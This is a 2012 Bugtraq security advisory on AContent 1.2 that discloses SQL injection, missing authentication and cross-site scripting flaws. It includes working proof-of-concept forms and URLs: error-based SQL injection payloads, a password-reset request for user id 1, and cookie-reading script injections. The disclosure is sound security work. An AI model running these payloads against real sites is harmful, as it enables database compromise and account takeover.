[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Multiple vulnerabilities in AContent
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Multiple vulnerabilities in AContent
- From: advisory@xxxxxxxxxxxx
- Date: Wed, 17 Oct 2012 13:39:43 +0200 (CEST)
Advisory ID: HTB23117
Product: AContent
Vendor: ATutor
Vulnerable Version(s): 1.2 and probably prior
Tested Version: 1.2
Vendor Notification: September 26, 2012
Public Disclosure: October 17, 2012
Vulnerability Type: SQL Injection [CWE-89], Improper Authentication [CWE-287],
Cross-Site Scripting [CWE-79]
CVE References: CVE-2012-5167, CVE-2012-5168, CVE-2012-5169
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.5
(AV:N/AC:L/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: High
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in
AContent, which can be exploited to bypass authentication and to perform
Cross-Site Scripting (XSS) and SQL Injection attacks.
1) SQL Injection in AContent: CVE-2012-5167
1.1 The vulnerability exists due to insufficient sanitation of input data in
the "field" HTTP POST parameter in
/course_category/index_inline_editor_submit.php. A remote unauthenticated user
can execute arbitrary SQL commands in application`s database.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/course_category/index_inline_editor_submit.php"
method="post">
<input type="hidden" name="field" value="category_name-1 AND 1=(select
min(@a:=1)from (select 1 union select 2)k group by (select
concat(@@version,0x0,@a:=(@a+1)%2)))" />
<input type="hidden" name="value" value="1" />
<input type="submit" id="btn">
</form>
1.2 The vulnerability exists due to insufficient sanitation of input data in
the "field" HTTP POST parameter in /user/index_inline_editor_submit.php. A
remote unauthenticated user can execute arbitrary SQL commands in application`s
database.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/user/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="password=((select min(@a:=1)from
(select 1 union select 2)k group by (select
concat(@@version,0x0,@a:=(@a+1)%2))))-1" />
<input type="hidden" name="value" value="1" />
<input type="submit" id="btn">
</form>
1.3 Input passed via the "id" GET parameter to /user/user_password.php in POST
request is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/user/user_password.php?id=1' AND 1=(select
min(@a:=1)from (select 1 union select 2)k group by (select
concat(@@version,0x0,@a:=(@a%2b1)%252)))%20--%20" method="post">
<input type="hidden" name="submit" value="1" />
<input type="submit" id="btn">
</form>
Successful exploitation of vulnerability 1.3 requires attacker to be registered
and logged-in.
2) Improper Authentication in AContent: CVE-2012-5168
2.1 The vulnerability exists due to absent authentication in the
"/user/index_inline_editor_submit.php" script. A remote unauthorized attacker
can change users' passwords.
The following example will change password for user with id=1 to 'password'.
<form action="http://[host]/user/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="password-1" />
<input type="hidden" name="value"
value="5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" />
<input type="submit" id="btn">
</form>
2.2 The vulnerability exists due to absent authentication in the
"/course_category/index_inline_editor_submit.php" script. A remote unauthorized
attacker can modify names for existing categories.
The following example will change category name with id=1 to 'new_category':
<form action="http://[host]/course_category/index_inline_editor_submit.php"
method="post">
<input type="hidden" name="field" value="category_name-1" />
<input type="hidden" name="value" value="new_category" />
<input type="submit" id="btn">
</form>
3) Cross-Site Scripting (XSS) in AContent: CVE-2012-5169
Input passed via the HTTP GET parameters "pathext", "popup", "framed", and
"file" to /file_manager/preview_top.php is not properly sanitised before being
returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's
browser session in context of an affected website.
The following PoCs (Proof of Concept) demonstrate the vulnerabilities:
http://[host]/file_manager/preview_top.php?pathext=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?popup=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?file=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
-----------------------------------------------------------------------------------------------
Solution:
Users should apply patches #1 and #2 using the AContent Administrator's Updater
tool
More Information:
http://update.atutor.ca/acontent/patch/1_2/
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23117 -
https://www.htbridge.com/advisory/HTB23117 - Multiple vulnerabilities in
AContent.
[2] AContent - http://atutor.ca - AContent is an open source learning content
authoring system and respository used to create interoperable, accessible,
adaptive Web-based learning content.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.